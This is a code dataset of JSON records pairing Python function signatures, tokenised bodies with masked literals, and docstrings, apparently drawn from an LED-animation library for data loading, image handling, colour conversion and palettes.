{"signature": "def dumps(data, use_yaml=None, safe=True, **kwds):", "body": "if use_yaml is None:<EOL><INDENT>use_yaml = ALWAYS_DUMP_YAML<EOL><DEDENT>if use_yaml:<EOL><INDENT>dumps = yaml.safe_dump if safe else yaml.dump<EOL><DEDENT>else:<EOL><INDENT>dumps = json.dumps<EOL>kwds.update(indent=<NUM_LIT:4>, sort_keys=True)<EOL>if not safe:<EOL><INDENT>kwds.update(default=repr)<EOL><DEDENT><DEDENT>return dumps(data, **kwds)<EOL>", "docstring": "Dumps data into a nicely formatted JSON string.\n\n:param dict data: a dictionary to dump\n:param kwds: keywords to pass to json.dumps\n:returns: a string with formatted data\n:rtype: str", "id": "f1999:m0"}
{"signature": "def dump(data, file=sys.stdout, use_yaml=None, **kwds):", "body": "if use_yaml is None:<EOL><INDENT>use_yaml = ALWAYS_DUMP_YAML<EOL><DEDENT>def dump(fp):<EOL><INDENT>if use_yaml:<EOL><INDENT>yaml.safe_dump(data, stream=fp, **kwds)<EOL><DEDENT>else:<EOL><INDENT>json.dump(data, fp, indent=<NUM_LIT:4>, sort_keys=True, **kwds)<EOL><DEDENT><DEDENT>if not isinstance(file, str):<EOL><INDENT>return dump(file)<EOL><DEDENT>if os.path.isabs(file):<EOL><INDENT>parent = os.path.dirname(file)<EOL>if not os.path.exists(parent):<EOL><INDENT>os.makedirs(parent, exist_ok=True)<EOL><DEDENT><DEDENT>with open(file, '<STR_LIT:w>') as fp:<EOL><INDENT>return dump(fp)<EOL><DEDENT>", "docstring": "Dumps data as nicely formatted JSON string to a file or file handle\n\n:param dict data: a dictionary to dump\n:param file: a filename or file handle to write to\n:param kwds: keywords to pass to json.dump", "id": "f1999:m1"}
{"signature": "def load(file, use_yaml=None):", "body": "if isinstance(file, str):<EOL><INDENT>fp = open(file)<EOL>filename = file<EOL><DEDENT>else:<EOL><INDENT>fp = file<EOL>filename = getattr(fp, '<STR_LIT:name>', '<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>return loads(fp.read(), use_yaml, filename)<EOL><DEDENT>except Exception as e:<EOL><INDENT>e.args = ('<STR_LIT>', filename) + e.args<EOL>raise<EOL><DEDENT>", "docstring": "Loads not only JSON files but also YAML files ending in .yml.\n\n:param file: a filename or file handle to read from\n:returns: the data loaded from the JSON or YAML file\n:rtype: dict", "id": "f1999:m3"}
{"signature": "def load_if(s):", "body": "is_data_file = s.endswith('<STR_LIT>') or s.endswith('<STR_LIT>')<EOL>return load(s) if is_data_file else loads(s)<EOL>", "docstring": "Load either a filename, or a string representation of yml/json.", "id": "f1999:m4"}
{"signature": "def advance_permutation(a, increasing=True, forward=True):", "body": "if not forward:<EOL><INDENT>a.reverse()<EOL><DEDENT>cmp = operator.lt if increasing else operator.gt<EOL>try:<EOL><INDENT>i = next(i for i in reversed(range(len(a) - <NUM_LIT:1>)) if cmp(a[i], a[i + <NUM_LIT:1>]))<EOL>j = next(j for j in reversed(range(i + <NUM_LIT:1>, len(a))) if cmp(a[i], a[j]))<EOL><DEDENT>except StopIteration:<EOL><INDENT>if forward:<EOL><INDENT>a.reverse()<EOL><DEDENT>return False<EOL><DEDENT>a[i], a[j] = a[j], a[i]<EOL>a[i + <NUM_LIT:1>:] = reversed(a[i + <NUM_LIT:1>:])<EOL>if not forward:<EOL><INDENT>a.reverse()<EOL><DEDENT>return True<EOL>", "docstring": "Advance a list of unique, ordered elements in-place, lexicographically\nincreasing or backward, by rightmost or leftmost digit.\n\nReturns False if the permutation wrapped around - i.e. went from\nlexicographically greatest to least, and True in all other cases.\n\nIf the length of the list is N, then this function will repeat values after\nN! steps, and will return False exactly once.\n\nSee also https://stackoverflow.com/a/34325140/43839", "id": "f2003:m0"}
{"signature": "@contextlib.contextmanager<EOL>def pid_context(pid_filename=None):", "body": "pid_filename = pid_filename or DEFAULT_PID_FILENAME<EOL>if os.path.exists(pid_filename):<EOL><INDENT>contents = open(pid_filename).read(<NUM_LIT:16>)<EOL>log.warning('<STR_LIT>',<EOL>pid_filename, contents)<EOL><DEDENT>with open(pid_filename, '<STR_LIT:w>') as fp:<EOL><INDENT>fp.write(str(os.getpid()))<EOL>fp.write('<STR_LIT:\\n>')<EOL><DEDENT>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>try:<EOL><INDENT>os.remove(pid_filename)<EOL><DEDENT>except Exception as e:<EOL><INDENT>log.error('<STR_LIT>',<EOL>e, pid_filename)<EOL><DEDENT><DEDENT>", "docstring": "For the duration of this context manager, put the PID for this process into\n`pid_filename`, and then remove the file at the end.", "id": "f2005:m1"}
{"signature": "def get_pid(pid_filename=None):", "body": "return int(open(pid_filename or DEFAULT_PID_FILENAME).read(<NUM_LIT:16>))<EOL>", "docstring": "Return the integer PID for the current bp process, or raise an exception if\nthere is no such process or it hasn't registered a PID.", "id": "f2005:m2"}
{"signature": "@contextlib.contextmanager<EOL>def add(*args):", "body": "try:<EOL><INDENT>yield<EOL><DEDENT>except Exception as e:<EOL><INDENT>e.args = args + e.args<EOL>raise<EOL><DEDENT>", "docstring": "A context manager that appends arguments to any exception thrown\n\n:param args: Arguments to be appended to the ``.args`` attribute of any\n             exception that is thrown while the context manager is active", "id": "f2007:m0"}
{"signature": "def report(function, *args, **kwds):", "body": "try:<EOL><INDENT>function(*args, **kwds)<EOL><DEDENT>except Exception:<EOL><INDENT>traceback.print_exc()<EOL><DEDENT>", "docstring": "Run a function, catch, report and discard exceptions", "id": "f2007:m1"}
{"signature": "def crop(image, top_offset=<NUM_LIT:0>, left_offset=<NUM_LIT:0>, bottom_offset=<NUM_LIT:0>, right_offset=<NUM_LIT:0>):", "body": "if bottom_offset or top_offset or left_offset or right_offset:<EOL><INDENT>width, height = image.size<EOL>box = (left_offset, top_offset,<EOL>width - right_offset, height - bottom_offset)<EOL>image = image.crop(box=box)<EOL><DEDENT>return image<EOL>", "docstring": "Return an image cropped on top, bottom, left or right.", "id": "f2011:m0"}
{"signature": "def resize(image, x, y, stretch=False, top=None, left=None, mode='<STR_LIT>',<EOL>resample=None):", "body": "if x <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if y <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>from PIL import Image<EOL>resample = Image.ANTIALIAS if resample is None else resample<EOL>if not isinstance(resample, numbers.Number):<EOL><INDENT>try:<EOL><INDENT>resample = getattr(Image, resample.upper())<EOL><DEDENT>except:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % resample)<EOL><DEDENT>if not isinstance(resample, numbers.Number):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % resample)<EOL><DEDENT><DEDENT>size = x, y<EOL>if stretch:<EOL><INDENT>return image.resize(size, resample=resample)<EOL><DEDENT>result = Image.new(mode, size)<EOL>ratios = [d1 / d2 for d1, d2 in zip(size, image.size)]<EOL>if ratios[<NUM_LIT:0>] < ratios[<NUM_LIT:1>]:<EOL><INDENT>new_size = (size[<NUM_LIT:0>], int(image.size[<NUM_LIT:1>] * ratios[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>new_size = (int(image.size[<NUM_LIT:0>] * ratios[<NUM_LIT:1>]), size[<NUM_LIT:1>])<EOL><DEDENT>image = image.resize(new_size, resample=resample)<EOL>if left is None:<EOL><INDENT>box_x = int((x - new_size[<NUM_LIT:0>]) / <NUM_LIT:2>)<EOL><DEDENT>elif left:<EOL><INDENT>box_x = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>box_x = x - new_size[<NUM_LIT:0>]<EOL><DEDENT>if top is None:<EOL><INDENT>box_y = int((y - new_size[<NUM_LIT:1>]) / <NUM_LIT:2>)<EOL><DEDENT>elif top:<EOL><INDENT>box_y = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>box_y = y - new_size[<NUM_LIT:1>]<EOL><DEDENT>result.paste(image, box=(box_x, box_y))<EOL>return result<EOL>", "docstring": "Return an image resized.", "id": "f2011:m1"}
{"signature": "def _write(self, filename, frames, fps, loop=<NUM_LIT:0>, palette=<NUM_LIT>):", "body": "from PIL import Image<EOL>images = []<EOL>for f in frames:<EOL><INDENT>data = open(f, '<STR_LIT:rb>').read()<EOL>images.append(Image.open(io.BytesIO(data)))<EOL><DEDENT>duration = round(<NUM_LIT:1> / fps, <NUM_LIT:2>)<EOL>im = images.pop(<NUM_LIT:0>)<EOL>im.save(filename,<EOL>save_all=True,<EOL>append_images=images,<EOL>duration=duration,<EOL>loop=loop,<EOL>palette=palette)<EOL>", "docstring": "Write a series of frames as a single animated GIF.\n\n:param str filename: the name of the GIF file to write\n\n:param list frames: a list of filenames, each of which represents a single\n    frame of the animation.  Each frame must have exactly the same\n    dimensions, and the code has only been tested with .gif files.\n\n:param float fps:\n    The number of frames per second.\n\n:param int loop:\n    The number of iterations. Default 0 (meaning loop indefinitely).\n\n:param int palette:\n    The number of colors to quantize the image to. Is rounded to\n    the nearest power of two. Default 256.", "id": "f2013:c0:m0"}
{"signature": "def show_image(setter, width, height,<EOL>image_path='<STR_LIT>', image_obj=None, offset=(<NUM_LIT:0>, <NUM_LIT:0>),<EOL>bgcolor=COLORS.Off, brightness=<NUM_LIT:255>):", "body": "bgcolor = color_scale(bgcolor, brightness)<EOL>img = image_obj<EOL>if image_path and not img:<EOL><INDENT>from PIL import Image<EOL>img = Image.open(image_path)<EOL><DEDENT>elif not img:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>w = min(width - offset[<NUM_LIT:0>], img.size[<NUM_LIT:0>])<EOL>h = min(height - offset[<NUM_LIT:1>], img.size[<NUM_LIT:1>])<EOL>ox = offset[<NUM_LIT:0>]<EOL>oy = offset[<NUM_LIT:1>]<EOL>for x in range(ox, w + ox):<EOL><INDENT>for y in range(oy, h + oy):<EOL><INDENT>r, g, b, a = (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:255>)<EOL>rgba = img.getpixel((x - ox, y - oy))<EOL>if isinstance(rgba, int):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(rgba) == <NUM_LIT:3>:<EOL><INDENT>r, g, b = rgba<EOL><DEDENT>elif len(rgba) == <NUM_LIT:4>:<EOL><INDENT>r, g, b, a = rgba<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if a == <NUM_LIT:0>:<EOL><INDENT>r, g, b = bgcolor<EOL><DEDENT>else:<EOL><INDENT>r, g, b = color_scale((r, g, b), a)<EOL><DEDENT>if brightness != <NUM_LIT:255>:<EOL><INDENT>r, g, b = color_scale((r, g, b), brightness)<EOL><DEDENT>setter(x, y, (r, g, b))<EOL><DEDENT><DEDENT>", "docstring": "Display an image on a matrix.", "id": "f2015:m0"}
{"signature": "def showImage(layout, imagePath=\"<STR_LIT>\", imageObj=None, offset=(<NUM_LIT:0>, <NUM_LIT:0>),<EOL>bgcolor=COLORS.Off, brightness=<NUM_LIT:255>):", "body": "if not isinstance(layout, Matrix):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>layout.all_off()<EOL>return show_image(layout.set, layout.width, layout.height, imagePath,<EOL>imageObj, offset, bgcolor, brightness)<EOL>", "docstring": "Display an image on the matrix", "id": "f2015:m1"}
{"signature": "def loadImage(layout, imagePath=\"<STR_LIT>\", imageObj=None, offset=(<NUM_LIT:0>, <NUM_LIT:0>),<EOL>bgcolor=COLORS.Off, brightness=<NUM_LIT:255>):", "body": "if not isinstance(layout, Matrix):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>texture = [[COLORS.Off for x in range(layout.width)]<EOL>for y in range(layout.height)]<EOL>def setter(x, y, pixel):<EOL><INDENT>if y >= <NUM_LIT:0> and x >= <NUM_LIT:0>:<EOL><INDENT>texture[y][x] = pixel<EOL><DEDENT><DEDENT>show_image(setter, layout.width, layout.height, imagePath, imageObj,<EOL>offset, bgcolor, brightness)<EOL>return texture<EOL>", "docstring": "Display an image on the matrix", "id": "f2015:m2"}
{"signature": "def convert_mode(image, mode='<STR_LIT>'):", "body": "deprecated.deprecated('<STR_LIT>')<EOL>return image if (image.mode == mode) else image.convert(mode=mode)<EOL>", "docstring": "Return an image in the given mode.", "id": "f2016:m0"}
{"signature": "def image_to_colorlist(image, container=list):", "body": "deprecated.deprecated('<STR_LIT>')<EOL>return container(convert_mode(image).getdata())<EOL>", "docstring": "Given a PIL.Image, returns a ColorList of its pixels.", "id": "f2016:m1"}
{"signature": "def animated_gif_to_colorlists(image, container=list):", "body": "deprecated.deprecated('<STR_LIT>')<EOL>from PIL import ImageSequence<EOL>it = ImageSequence.Iterator(image)<EOL>return [image_to_colorlist(i, container) for i in it]<EOL>", "docstring": "Given an animated GIF, return a list with a colorlist for each frame.", "id": "f2016:m2"}
{"signature": "def sender(address, use_queue=True, **kwds):", "body": "return QueuedSender(address, **kwds) if use_queue else Sender(address)<EOL>", "docstring": ":param str address: a pair (ip_address, port) to pass to socket.connect\n:param bool use_queue: if True, run the connection in a different thread\n    with a queue", "id": "f2021:m0"}
{"signature": "def __init__(self, address):", "body": "super().__init__()<EOL>self.address = address<EOL>", "docstring": ":param str address: a pair (ip_address, port) to pass to socket.connect", "id": "f2021:c0:m0"}
{"signature": "def __init__(self, address, **kwds):", "body": "super().__init__(**kwds)<EOL>self.sender = Sender(address)<EOL>", "docstring": ":param str address: a pair (ip_address, port) to pass to socket.connect", "id": "f2021:c1:m0"}
{"signature": "def flatten(master):", "body": "result = {}<EOL>def add(value, *keys):<EOL><INDENT>if keys in result:<EOL><INDENT>raise ValueError('<STR_LIT>' % keys)<EOL><DEDENT>result[keys] = value<EOL><DEDENT>def recurse(value, *keys):<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>for k, v in value.items():<EOL><INDENT>recurse(v, k, *keys)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>key = '<STR_LIT:.>'.join(reversed(keys))<EOL>if key in result:<EOL><INDENT>raise ValueError('<STR_LIT>' % str(keys))<EOL><DEDENT>result[key] = value<EOL><DEDENT><DEDENT>recurse(master)<EOL>return result<EOL>", "docstring": ":param dict master: a multilevel dictionary\n:return: a flattened dictionary\n:rtype: dict\n\nFlattens a multilevel dictionary into a single-level one so that::\n\n    {'foo':\n        {'bar':\n           {\n               'a': 1,\n               'b': True,\n               'c': 'hello',\n            },\n        },\n    }\n\nwould become::\n\n    {'foo.bar.a': 1,\n     'foo.bar.b': True,\n     'foo.bar.a': 1,\n     }\n\nYou can mix and match both input (hierarchical) and output (dotted) formats\nin the input without problems - and if you call flatten more than once, it\nhas no effect.", "id": "f2023:m0"}
{"signature": "def unflatten(master):", "body": "result = {}<EOL>for k, v in master.items():<EOL><INDENT>*first, last = k.split('<STR_LIT:.>')<EOL>r = result<EOL>for i in first:<EOL><INDENT>r = r.setdefault(i, {})<EOL><DEDENT>r[last] = v<EOL><DEDENT>return result<EOL>", "docstring": ":param dict master: a multilevel dictionary\n:return: a unflattened dictionary\n:rtype: dict\n\nUnflattens a single-level dictionary a multilevel into one so that::\n\n    {'foo.bar.a': 1,\n     'foo.bar.b': True,\n     'foo.bar.a': 1,\n     }\n\nwould become::\n\n    {'foo':\n        {'bar':\n           {\n               'a': 1,\n               'b': True,\n               'c': 'hello',\n            },\n        },\n    }", "id": "f2023:m1"}
{"signature": "def canonical(master):", "body": "return unflatten(flatten(master))<EOL>", "docstring": ":param dict master: a multilevel dictionary\n:return: a canonicalized dictionary that has been completely flattened\n         and then unflattened\n:rtype: dict", "id": "f2023:m2"}
{"signature": "def pop_legacy_palette(kwds, *color_defaults):", "body": "palette = kwds.pop('<STR_LIT>', None)<EOL>if palette:<EOL><INDENT>legacy = [k for k, _ in color_defaults if k in kwds]<EOL>if legacy:<EOL><INDENT>raise ValueError('<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(legacy))<EOL><DEDENT>return palette<EOL><DEDENT>values = [kwds.pop(k, v) for k, v in color_defaults]<EOL>if values and color_defaults[<NUM_LIT:0>][<NUM_LIT:0>] in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>values = values[<NUM_LIT:0>]<EOL><DEDENT>return make.colors(values or None)<EOL>", "docstring": "Older animations in BPA and other areas use all sorts of different names for\nwhat we are now representing with palettes.\n\nThis function mutates a kwds dictionary to remove these legacy fields and\nextract a palette from it, which it returns.", "id": "f2026:m0"}
{"signature": "def wheel_color(position):", "body": "return _WHEEL[round(position) % len(_WHEEL)]<EOL>", "docstring": "Get color from wheel value (0 - 384).\n    Provided for those used to using it from Adafruit libraries", "id": "f2027:m1"}
{"signature": "def wheel_helper(pos, length, cycle_step):", "body": "return wheel_color((pos * len(_WHEEL) / length) + cycle_step)<EOL>", "docstring": "Helper for wheel_color that distributes colors over length and\n    allows shifting position.", "id": "f2027:m2"}
{"signature": "def all_named_colors():", "body": "yield from _TO_COLOR_USER.items()<EOL>for name, color in _TO_COLOR.items():<EOL><INDENT>if name not in _TO_COLOR_USER:<EOL><INDENT>yield name, color<EOL><DEDENT><DEDENT>", "docstring": "Return an iteration over all name, color pairs in tables", "id": "f2028:m5"}
{"signature": "def contains(x):", "body": "if isinstance(x, str):<EOL><INDENT>x = canonical_name(x)<EOL>return x in _TO_COLOR_USER or x in _TO_COLOR<EOL><DEDENT>else:<EOL><INDENT>x = tuple(x)<EOL>return x in _TO_NAME_USER or x in _TO_NAME<EOL><DEDENT>", "docstring": "Return true if this string or integer tuple appears in tables", "id": "f2028:m6"}
{"signature": "@functools.singledispatch<EOL>def colors(c):", "body": "raise ValueError(\"<STR_LIT>\" % type(c), _COLORS_USAGE)<EOL>", "docstring": "Return a color Palette", "id": "f2029:m5"}
{"signature": "def to_triplets(colors):", "body": "try:<EOL><INDENT>colors[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>return colors<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>extra = len(colors) % <NUM_LIT:3><EOL>if extra:<EOL><INDENT>colors = colors[:-extra]<EOL><DEDENT>return list(zip(*[iter(colors)] * <NUM_LIT:3>))<EOL>", "docstring": "Coerce a list into a list of triplets.\n\nIf `colors` is a list of lists or strings, return it as is.  Otherwise,\ndivide it into tuplets of length three, silently discarding any extra\nelements beyond a multiple of three.", "id": "f2029:m11"}
{"signature": "def colors_no_palette(colors=None, **kwds):", "body": "if isinstance(colors, str):<EOL><INDENT>colors = _split_colors(colors)<EOL><DEDENT>else:<EOL><INDENT>colors = to_triplets(colors or ())<EOL><DEDENT>colors = (color(c) for c in colors or ())<EOL>return palette.Palette(colors, **kwds)<EOL>", "docstring": "Return a Palette but don't take into account Pallete Names.", "id": "f2029:m13"}
{"signature": "def hsv2rgb_raw(hsv):", "body": "HSV_SECTION_3 = <NUM_LIT><EOL>h, s, v = hsv<EOL>invsat = <NUM_LIT:255> - s<EOL>brightness_floor = (v * invsat) // <NUM_LIT><EOL>color_amplitude = v - brightness_floor<EOL>section = h // HSV_SECTION_3  <EOL>offset = h % HSV_SECTION_3  <EOL>rampup = offset<EOL>rampdown = (HSV_SECTION_3 - <NUM_LIT:1>) - offset<EOL>rampup_amp_adj = (rampup * color_amplitude) // (<NUM_LIT> // <NUM_LIT:4>)<EOL>rampdown_amp_adj = (rampdown * color_amplitude) // (<NUM_LIT> // <NUM_LIT:4>)<EOL>rampup_adj_with_floor = rampup_amp_adj + brightness_floor<EOL>rampdown_adj_with_floor = rampdown_amp_adj + brightness_floor<EOL>r, g, b = (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>if section:<EOL><INDENT>if section == <NUM_LIT:1>:<EOL><INDENT>r = brightness_floor<EOL>g = rampdown_adj_with_floor<EOL>b = rampup_adj_with_floor<EOL><DEDENT>else:<EOL><INDENT>r = rampup_adj_with_floor<EOL>g = brightness_floor<EOL>b = rampdown_adj_with_floor<EOL><DEDENT><DEDENT>else:<EOL><INDENT>r = rampdown_adj_with_floor<EOL>g = rampup_adj_with_floor<EOL>b = brightness_floor<EOL><DEDENT>return (r, g, b)<EOL>", "docstring": "Converts an HSV tuple to RGB. Intended for internal use.\nYou should use hsv2rgb_spectrum or hsv2rgb_rainbow instead.", "id": "f2030:m0"}
{"signature": "def hsv2rgb_spectrum(hsv):", "body": "h, s, v = hsv<EOL>return hsv2rgb_raw(((h * <NUM_LIT>) >> <NUM_LIT:8>, s, v))<EOL>", "docstring": "Generates RGB values from HSV values in line with a typical light\n    spectrum.", "id": "f2030:m1"}
{"signature": "def hsv2rgb_rainbow(hsv):", "body": "def nscale8x3_video(r, g, b, scale):<EOL><INDENT>nonzeroscale = <NUM_LIT:0><EOL>if scale != <NUM_LIT:0>:<EOL><INDENT>nonzeroscale = <NUM_LIT:1><EOL><DEDENT>if r != <NUM_LIT:0>:<EOL><INDENT>r = ((r * scale) >> <NUM_LIT:8>) + nonzeroscale<EOL><DEDENT>if g != <NUM_LIT:0>:<EOL><INDENT>g = ((g * scale) >> <NUM_LIT:8>) + nonzeroscale<EOL><DEDENT>if b != <NUM_LIT:0>:<EOL><INDENT>b = ((b * scale) >> <NUM_LIT:8>) + nonzeroscale<EOL><DEDENT>return (r, g, b)<EOL><DEDENT>def scale8_video_LEAVING_R1_DIRTY(i, scale):<EOL><INDENT>nonzeroscale = <NUM_LIT:0><EOL>if scale != <NUM_LIT:0>:<EOL><INDENT>nonzeroscale = <NUM_LIT:1><EOL><DEDENT>if i != <NUM_LIT:0>:<EOL><INDENT>i = ((i * scale) >> <NUM_LIT:8>) + nonzeroscale<EOL><DEDENT>return i<EOL><DEDENT>h, s, v = hsv<EOL>offset = h & <NUM_LIT>  <EOL>offset8 = offset * <NUM_LIT:8><EOL>third = (offset8 * (<NUM_LIT> // <NUM_LIT:3>)) >> <NUM_LIT:8><EOL>r, g, b = (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>if not (h & <NUM_LIT>):<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>r = <NUM_LIT:255> - third<EOL>g = third<EOL>b = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>r = <NUM_LIT><EOL>g = <NUM_LIT> + third<EOL>b = <NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>twothirds = (third << <NUM_LIT:1>)<EOL>r = <NUM_LIT> - twothirds<EOL>g = <NUM_LIT> + third<EOL>b = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>r = <NUM_LIT:0><EOL>g = <NUM_LIT:255> - third<EOL>b = third<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>r = <NUM_LIT><EOL>twothirds = (third << <NUM_LIT:1>)<EOL>g = <NUM_LIT> - twothirds<EOL>b = <NUM_LIT> + twothirds<EOL><DEDENT>else:<EOL><INDENT>r = third<EOL>g = <NUM_LIT:0><EOL>b = <NUM_LIT:255> - third<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not (h & <NUM_LIT>):<EOL><INDENT>r = <NUM_LIT> + third<EOL>g = <NUM_LIT:0><EOL>b = <NUM_LIT> - third<EOL><DEDENT>else:<EOL><INDENT>r = <NUM_LIT> + third<EOL>g = <NUM_LIT><EOL>b = <NUM_LIT> - third<EOL><DEDENT><DEDENT><DEDENT>if s != <NUM_LIT:255>:<EOL><INDENT>r, g, b = nscale8x3_video(r, g, b, s)<EOL>desat = <NUM_LIT:255> - s<EOL>desat = (desat * desat) >> <NUM_LIT:8><EOL>brightness_floor = desat<EOL>r = r + brightness_floor<EOL>g = g + brightness_floor<EOL>b = b + brightness_floor<EOL><DEDENT>if v != <NUM_LIT:255>:<EOL><INDENT>v = scale8_video_LEAVING_R1_DIRTY(v, v)<EOL>r, g, b = nscale8x3_video(r, g, b, v)<EOL><DEDENT>return (r, g, b)<EOL>", "docstring": "Generates RGB values from HSV that have an even visual\n    distribution.  Be careful as this method is only have as fast as\n    hsv2rgb_spectrum.", "id": "f2030:m2"}
{"signature": "def hsv2rgb_360(hsv):", "body": "h, s, v = hsv<EOL>r, g, b = colorsys.hsv_to_rgb(h / <NUM_LIT>, s, v)<EOL>return (int(r * <NUM_LIT>), int(g * <NUM_LIT>), int(b * <NUM_LIT>))<EOL>", "docstring": "Python default hsv to rgb conversion for when hue values in the\n    range 0-359 are preferred.  Due to requiring float math, this method\n    is slower than hsv2rgb_rainbow and hsv2rgb_spectrum.", "id": "f2030:m3"}
{"signature": "def color_cmp(a, b):", "body": "if a == b:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>a, b = rgb_to_hsv(a), rgb_to_hsv(b)<EOL>return -<NUM_LIT:1> if a < b else <NUM_LIT:1><EOL>", "docstring": "Order colors by hue, saturation and value, in that order.\n\n    Returns -1 if a < b, 0 if a == b and 1 if a < b.", "id": "f2030:m12"}
{"signature": "def euclidean(c1, c2):", "body": "diffs = ((i - j) for i, j in zip(c1, c2))<EOL>return sum(x * x for x in diffs)<EOL>", "docstring": "Square of the euclidean distance", "id": "f2032:m1"}
{"signature": "def __init__(self, colors=(), continuous=False, serpentine=False, scale=<NUM_LIT:1>,<EOL>offset=<NUM_LIT:0>, autoscale=False, length=None):", "body": "super().__init__(colors)<EOL>if not self:<EOL><INDENT>self.append(Black)<EOL><DEDENT>self.continuous = continuous<EOL>self.serpentine = serpentine<EOL>self.scale = scale<EOL>self.offset = offset<EOL>self.autoscale = autoscale<EOL>self.length = length<EOL>", "docstring": "Arguments:\n    colors: an iterable of colors\n\n    continuous: if True, interpolate linearly between colors; if False,\n      use the nearest color from the original list\n\n    serpentine: if True, palette colors are used in reverse order every\n      other iteration, giving a back-and-forth effect.  If False,\n      palette colors always restart on each iteration\n\n    scale: Scales the incoming index ``i``.  As ``i`` moves from 0\n      to ``len(colors) - 1``, the whole palette repeats itself\n      ``self.scale`` times\n\n    offset: offset to the incoming index ``i``, applied after scaling\n\n    autoscale: If True, automatically rescale the Palette size to\n      match the length of the output.  ``autoscale`` happens before\n      ``scale``, so the two work well together to give banding or\n      striping effects across your display\n\n   ``length``:\n     The length of the output color_list.  If None, use the length of\n     the palette itself.  If autoscale=True, ``length`` is used to scale\n     the palette to match the output.", "id": "f2033:c0:m0"}
{"signature": "def get(self, position=<NUM_LIT:0>):", "body": "n = len(self)<EOL>if n == <NUM_LIT:1>:<EOL><INDENT>return self[<NUM_LIT:0>]<EOL><DEDENT>pos = position<EOL>if self.length and self.autoscale:<EOL><INDENT>pos *= len(self)<EOL>pos /= self.length<EOL><DEDENT>pos *= self.scale<EOL>pos += self.offset<EOL>if not self.continuous:<EOL><INDENT>if not self.serpentine:<EOL><INDENT>return self[int(pos % n)]<EOL><DEDENT>m = (<NUM_LIT:2> * n) - <NUM_LIT:2><EOL>pos %= m<EOL>if pos < n:<EOL><INDENT>return self[int(pos)]<EOL><DEDENT>else:<EOL><INDENT>return self[int(m - pos)]<EOL><DEDENT><DEDENT>if self.serpentine:<EOL><INDENT>pos %= (<NUM_LIT:2> * n)<EOL>if pos > n:<EOL><INDENT>pos = (<NUM_LIT:2> * n) - pos<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos %= n<EOL><DEDENT>pos *= n - <NUM_LIT:1><EOL>pos /= n<EOL>index = int(pos)<EOL>fade = pos - index<EOL>if not fade:<EOL><INDENT>return self[index]<EOL><DEDENT>r1, g1, b1 = self[index]<EOL>r2, g2, b2 = self[(index + <NUM_LIT:1>) % len(self)]<EOL>dr, dg, db = r2 - r1, g2 - g1, b2 - b1<EOL>return r1 + fade * dr, g1 + fade * dg, b1 + fade * db<EOL>", "docstring": "Return a color interpolated from the Palette.\n\nIn the case where continuous=False, serpentine=False, scale=1,\nautoscale=False, and offset=0, this is exactly the same as plain old []\nindexing, but with a wrap-around.\n\nThe constructor parameters affect this result as documented in the\nconstructor.\n\nArguments:\n   ``position``:\n     May be any integer or floating point number", "id": "f2033:c0:m2"}
{"signature": "def name_to_color(name):", "body": "def to_color(name):<EOL><INDENT>name = name.lower()<EOL>if '<STR_LIT:U+002C>' in name:<EOL><INDENT>if name.startswith('<STR_LIT:(>') and name.endswith('<STR_LIT:)>'):<EOL><INDENT>name = name[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>if name.startswith('<STR_LIT:[>') and name.endswith('<STR_LIT:]>'):<EOL><INDENT>name = name[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>r, g, b = name.split('<STR_LIT:U+002C>')<EOL>return _from_number(r), _from_number(g), _from_number(b)<EOL><DEDENT>try:<EOL><INDENT>n = _from_number(name)<EOL><DEDENT>except:<EOL><INDENT>color = tables.get_color(name)<EOL>if color:<EOL><INDENT>return color<EOL><DEDENT>raise ValueError<EOL><DEDENT>return tables.to_triplet(n)<EOL><DEDENT>try:<EOL><INDENT>color = to_color(name)<EOL><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>' % str(name))<EOL><DEDENT>if not all(<NUM_LIT:0> <= i <= <NUM_LIT:255> for i in color):<EOL><INDENT>raise ValueError('<STR_LIT>' % color)<EOL><DEDENT>return color<EOL>", "docstring": ":param str name: a string identifying a color.  It might be a color name\n                 from the two lists of color names, juce and classic; or\n                 it might be a list of numeric r, g, b values separated by\n                 commas.\n:returns: a color as an RGB 3-tuple", "id": "f2035:m0"}
